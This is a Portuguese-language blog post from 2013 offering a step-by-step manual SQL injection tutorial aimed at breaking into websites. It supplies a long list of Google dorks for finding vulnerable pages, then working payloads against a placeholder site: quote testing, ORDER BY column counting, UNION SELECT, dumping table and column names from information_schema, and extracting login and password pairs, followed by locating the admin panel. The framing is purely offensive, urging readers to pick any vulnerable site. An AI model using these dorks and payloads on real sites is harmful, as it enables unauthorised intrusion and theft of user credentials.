TUTORIAL BASICO DE SQL INJECTION MANUAL
Autor: Familia grau na vêia | Publicado: 2013-05-25T14:02:00-03:00


Com este tutorial voce vai aprender uma das melhores formas de invasão e uma das mais usadas hoje em dia. Ate porque os programadores de hoje em dia não estão si importando com a segurança do site e suas áreas restritas.
1º Encontrar um site vulnerável
Para isso vamos usar uma string no google
inurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurllay_old.php?id=inurl:declaration_more.php?decl_id=inurlageid=inurl:games.php?id=inurlage.php?file=inurl:newsDetail.php?id=inurl:gallery.php?id=inurl:article.php?id=inurl:show.php?id=inurl:staff_id=inurl:newsitem.php?num=inurl:readnews.php?id=inurl:top10.php?cat=inurl:historialeer.php?num=inurl:reagir.php?num=inurltray-Questions-View.php?num=inurl:forum_bds.php?num=inurl:game.php?id=inurl:view_product.php?id=inurl:newsone.php?id=inurl:sw_comment.php?id=inurl:news.php?id=inurl:avd_start.php?avd=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:news_view.php?id=inurl:select_biblio.php?id=inurl:humor.php?id=inurl:aboutbook.php?id=inurl:fiche_spectacle.php?id=inurl:communique_detail.php?id=inurl:sem.php3?id=inurl:kategorie.php4?id=inurl:news.php?id=inurl:index.php?id=inurl:faq2.php?id=inurl:show_an.php?id=inurlreview.php?id=inurl:loadpsb.php?id=inurlpinions.php?id=inurl:spr.php?id=inurlages.php?id=inurl:announce.php?id=inurl:clanek.php4?id=inurlarticipant.php?id=inurl:download.php?id=inurl:main.php?id=inurl:review.php?id=inurl:chappies.php?id=inurl:read.php?id=inurlrod_detail.php?id=inurl:viewphoto.php?id=inurl:article.php?id=inurlerson.php?id=inurlroductinfo.php?id=inurl:showimg.php?id=inurl:view.php?id=inurl:website.php?id=inurl:hosting_info.php?id=inurl:gallery.php?id=inurl:rub.php?idr=inurl:view_faq.php?id=inurl:artikelinfo.php?id=inurl:detail.php?ID=inurl:index.php?=inurlrofile_view.php?id=inurl:category.php?id=inurlublications.php?id=inurl:fellows.php?id=inurl:downloads_info.php?id=inurlrod_info.php?id=inurl:shop.php?do=part&amp;id=inurlroductinfo.php?id=inurl:collectionitem.php?id=inurl:band_info.php?id=inurlroduct.php?id=inurl:releases.php?id=inurl:ray.php?id=inurlroduit.php?id=inurlop.php?id=inurl:shopping.php?id=inurlroductdetail.php?id=inurlost.php?id=inurl:viewshowdetail.php?id=inurl:clubpage.php?id=inurl:memberInfo.php?id=inurl:section.php?id=inurl:theme.php?id=inurlage.php?id=inurl:shredder-categories.php?id=inurl:tradeCategory.php?id=inurlroduct_ranges_view.php?ID=inurl:shop_category.php?id=inurl:tran**.php?id=inurl:channel_id=inurl:item_id=inurl:newsid=inurl:trainers.php?id=inurl:news-full.php?id=inurl:news_display.php?getid=inurl:index2.php?option=inurl:readnews.php?id=inurl:top10.php?cat=inurl:newsone.php?id=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:aboutbook.php?id=inurl:review.php?id=inurl:loadpsb.php?id=inurl:ages.php?id=inurl:material.php?id=inurl:clanek.php4?id=inurl:announce.php?id=inurl:chappies.php?id=inurl:read.php?id=inurl:viewapp.php?id=inurl:viewphoto.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:review.php?id=inurl:iniziativa.php?in=inurl:curriculum.php?id=inurl:labels.php?id=inurl:story.php?id=inurl:look.php?ID=inurl:newsone.php?id=inurl:aboutbook.php?id=inurl:material.php?id=inurlpinions.php?id=inurl:announce.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:tekst.php?idt=inurl:newscat.php?id=inurl:newsticker_info.php?idn=inurl:rubrika.php?idr=inurl:rubp.php?idr=inurlffer.php?idf=inurl:art.php?idm=inurl:title.php?id=inurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurllay_old.php?id=inurl:declaration_more.php?decl_id=inurlageid=inurl:games.php?id=inurlage.php?file=inurl:newsDetail.php?id=inurl:gallery.php?id=inurl:article.php?id=inurl:show.php?id=inurl:staff_id=inurl:newsitem.php?num=inurl:readnews.php?id=inurl:top10.php?cat=inurl:historialeer.php?num=inurl:reagir.php?num=inurltray-Questions-View.php?num=inurl:forum_bds.php?num=inurl:game.php?id=inurl:view_product.php?id=inurl:newsone.php?id=inurl:sw_comment.php?id=inurl:news.php?id=inurl:avd_start.php?avd=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:news_view.php?id=inurl:select_biblio.php?id=inurl:humor.php?id=inurl:aboutbook.php?id=inurl:fiche_spectacle.php?id=inurl:communique_detail.php?id=inurl:sem.php3?id=inurl:kategorie.php4?id=inurl:news.php?id=inurl:index.php?id=inurl:faq2.php?id=inurl:show_an.php?id=inurlreview.php?id=inurl:loadpsb.php?id=inurlpinions.php?id=inurl:spr.php?id=inurlages.php?id=inurl:announce.php?id=inurl:clanek.php4?id=inurlarticipant.php?id=inurl:download.php?id=inurl:main.php?id=inurl:review.php?id=inurl:chappies.php?id=inurl:read.php?id=inurlrod_detail.php?id=inurl:viewphoto.php?id=inurl:article.php?id=inurlerson.php?id=inurlroductinfo.php?id=inurl:showimg.php?id=inurl:view.php?id=inurl:website.php?id=inurl:hosting_info.php?id=inurl:gallery.php?id=inurl:rub.php?idr=inurl:view_faq.php?id=inurl:artikelinfo.php?id=inurl:detail.php?ID=inurl:index.php?=inurlrofile_view.php?id=inurl:category.php?id=inurlublications.php?id=inurl:fellows.php?id=inurl:downloads_info.php?id=inurlrod_info.php?id=inurl:shop.php?do=part&amp;id=inurlroductinfo.php?id=inurl:collectionitem.php?id=inurl:band_info.php?id=inurlroduct.php?id=inurl:releases.php?id=inurl:ray.php?id=inurlroduit.php?id=inurlop.php?id=inurl:shopping.php?id=inurlroductdetail.php?id=inurlost.php?id=inurl:viewshowdetail.php?id=inurl:clubpage.php?id=inurl:memberInfo.php?id=inurl:section.php?id=inurl:theme.php?id=inurlage.php?id=inurl:shredder-categories.php?id=inurl:tradeCategory.php?id=inurlroduct_ranges_view.php?ID=inurl:shop_category.php?id=inurl:tran**.php?id=inurl:channel_id=inurl:item_id=inurl:newsid=inurl:trainers.php?id=inurl:news-full.php?id=inurl:news_display.php?getid=inurl:index2.php?option=inurl:readnews.php?id=inurl:top10.php?cat=inurl:newsone.php?id=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:aboutbook.php?id=inurl:review.php?id=inurl:loadpsb.php?id=inurl:ages.php?id=inurl:material.php?id=inurl:clanek.php4?id=inurl:announce.php?id=inurl:chappies.php?id=inurl:read.php?id=inurl:viewapp.php?id=inurl:viewphoto.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:review.php?id=inurl:iniziativa.php?in=inurl:curriculum.php?id=inurl:labels.php?id=inurl:story.php?id=inurl:look.php?ID=inurl:newsone.php?id=inurl:aboutbook.php?id=inurl:material.php?id=inurlpinions.php?id=inurl:announce.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:tekst.php?idt=inurl:newscat.php?id=inurl:newsticker_info.php?idn=inurl:rubrika.php?idr=inurl:rubp.php?idr=inurlffer.php?idf=inurl:art.php?idm=inurl:title.php?id=inurl: info.php?id=inurl:pro.php?id= Aparecera uma lista de sites,escolha um e verifique se o site esta vulnerável a SQL INJECTION. Suponhamos que voce escolheu o site:http://www.sitevul.com.br/noticias.php?id=10 Para verficar se ele esta vulnerável é bem simples basta adicionar uma ASPAS no final do numero de ID. http://www.sitevul.com.br/noticias.php?id=10' Se aparecer uma mensagem de erro como esta You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id='39  o site esta vulnerável,se o site carregar normalmente ele não esta,e so partir para outro e tentar.
2º Aplicando os comandos SQL no site (unir as tabelas do site)
Vamos procurar quantas tabelas o site possui com o comando ORDER BY ou GROUP BY ex:  http://sitevul.com.br/noticias.php?id=10 order by 1 Se o site carregar normalmente prossiga. http://www.sitevul.com.br/noticias.php?id=10 order by 2 Se novamente carregar sem nenhum erro prossiga. http://sitevul.com.br/noticias.php?id=10 order by 3 Se novamente carregar sem nenhum erro prossiga  http://www.sitevul.com.br/noticias.php?id=10 order by 4 Suponhamos que no order by 4 ele aparece uma mensagem de erro SQL, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id='39  ok com isso verificamos que o site possui 3 tabelas. Agora vamos unir as tabelas para saber em qual esta a informação desejada com o comando abaixo:  http://www.sitevul.com.br/noticias.php?id=-10 union all select 1,2,3-- Após a execução do comando suponhamos que a tabela foi a número 2.  3º Listando as tabelas e suas respectivas colunas.   Depois de ter unido as tabelas vamos lista-las com o comando: http://www.sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()--  Suponhamos que apareçam as seguintes tabelas: Usuarios,Links,News.  Nosso interesse e a tabela usuarios,agora vamos listar as colunas da tabela USUARIO com o comando: http://www.sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='Usuarios'--  Após isso teremos as colunas: Login,senha,email.
4º Pegando os dados com o comando CONCAT.
Insira o seguinte comando após descoberta as colunas: http://www.sitevul.com.br/noticias.php?id=-10 union all select 1,concat(Login,0x3a,senha),3 from Usuarios--  Entendo o comando acima,ele vai mostrar o LOGIN/SENHA da tabela USUARIOS,o FILTRO 0x3a e o : que vai separar o login e a senha.  Ex: Admin:123456
5º Encontrando a pagina do admin
Vou utilizar o programa ADMIN FINDER que pode ser encontrado aqui: http://scan.subhashdasyam.com/admin-panel-finder.php  Coloque o endereço do site no campo Target: http://www.sitevul.com.br/ E espere,nao é sempre que o mesmo encontra a tabela de admin. Depois de encontrar a pagina do admin e so fazer oque achar melhor.  Ex: http://www.sitevul.com.br/admin/login.php